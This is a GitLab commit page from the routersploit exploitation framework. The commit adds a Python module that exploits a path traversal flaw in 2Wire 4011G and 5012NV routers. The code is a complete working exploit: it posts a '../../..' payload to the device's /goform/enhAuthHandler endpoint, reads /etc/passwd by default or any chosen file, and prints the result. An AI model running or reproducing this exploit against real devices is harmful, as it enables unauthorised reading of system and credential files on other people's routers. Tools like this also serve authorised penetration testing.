Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
955df5ec
Commit
955df5ec
authored
May 29, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
2wire 4011G and 5012NV path traversal exploit.
parent
830f5c8a
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
80 additions
and
0 deletions
+80
-0
4011g_5012nv_path_traversal.py
...oit/modules/exploits/2wire/4011g_5012nv_path_traversal.py
+80
-0
No files found.
routersploit/modules/exploits/2wire/4011g_5012nv_path_traversal.py
0 → 100644
View file @
955df5ec
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
print_info
,
http_request
,
mute
,
validators
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for path traversal vulnerability in 2Wire 4011G and 5012NV devices.
If the target is vulnerable it is possible to read file from the filesystem."
"""
__info__
=
{
'name'
:
'2Wire 4011G & 5012NV Path Traversal'
,
'description'
:
'Module exploits path traversal vulnerability in 2Wire 4011G and 5012NV devices. '
'If the target is vulnerable it is possible to read file from the filesystem.'
,
'authors'
:
[
'adiaz'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://www.underground.org.mx/index.php?topic=28616.0'
,
],
'devices'
:
[
'2Wire 4011G'
,
'2Wire 5012NV'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
filename
=
exploits
.
Option
(
'/etc/passwd'
,
'File to read from filesystem'
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Sending read {} file request"
.
format
(
self
.
filename
))
url
=
"{}:{}/goform/enhAuthHandler"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u"Content-Type"
:
u"application/x-www-form-urlencoded"
}
data
=
{
"__ENH_SHOW_REDIRECT_PATH__"
:
"/pages/C_4_0.asp/../../..{}"
.
format
(
self
.
filename
),
"__ENH_SUBMIT_VALUE_SHOW__"
:
"Acceder"
,
"__ENH_SUBMIT_VALUE_SHOW__"
:
""
,
"username"
:
"tech"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
headers
=
headers
,
data
=
data
)
if
response
is
None
:
return
print_status
(
"Reading file {}"
.
format
(
self
.
filename
))
print_info
(
response
.
text
)
else
:
print_error
(
"Target seems to be not vulnerable"
)
@mute
def
check
(
self
):
url
=
"{}:{}/goform/enhAuthHandler"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u"Content-Type"
:
u"application/x-www-form-urlencoded"
}
data
=
{
"__ENH_SHOW_REDIRECT_PATH__"
:
"/pages/C_4_0.asp/../../../etc/passwd"
,
"__ENH_SUBMIT_VALUE_SHOW__"
:
"Acceder"
,
"__ENH_SUBMIT_VALUE_SHOW__"
:
""
,
"username"
:
"tech"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
headers
=
headers
,
data
=
data
)
if
response
is
None
:
return
False
# target is not vulnerable
if
"root:"
in
response
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment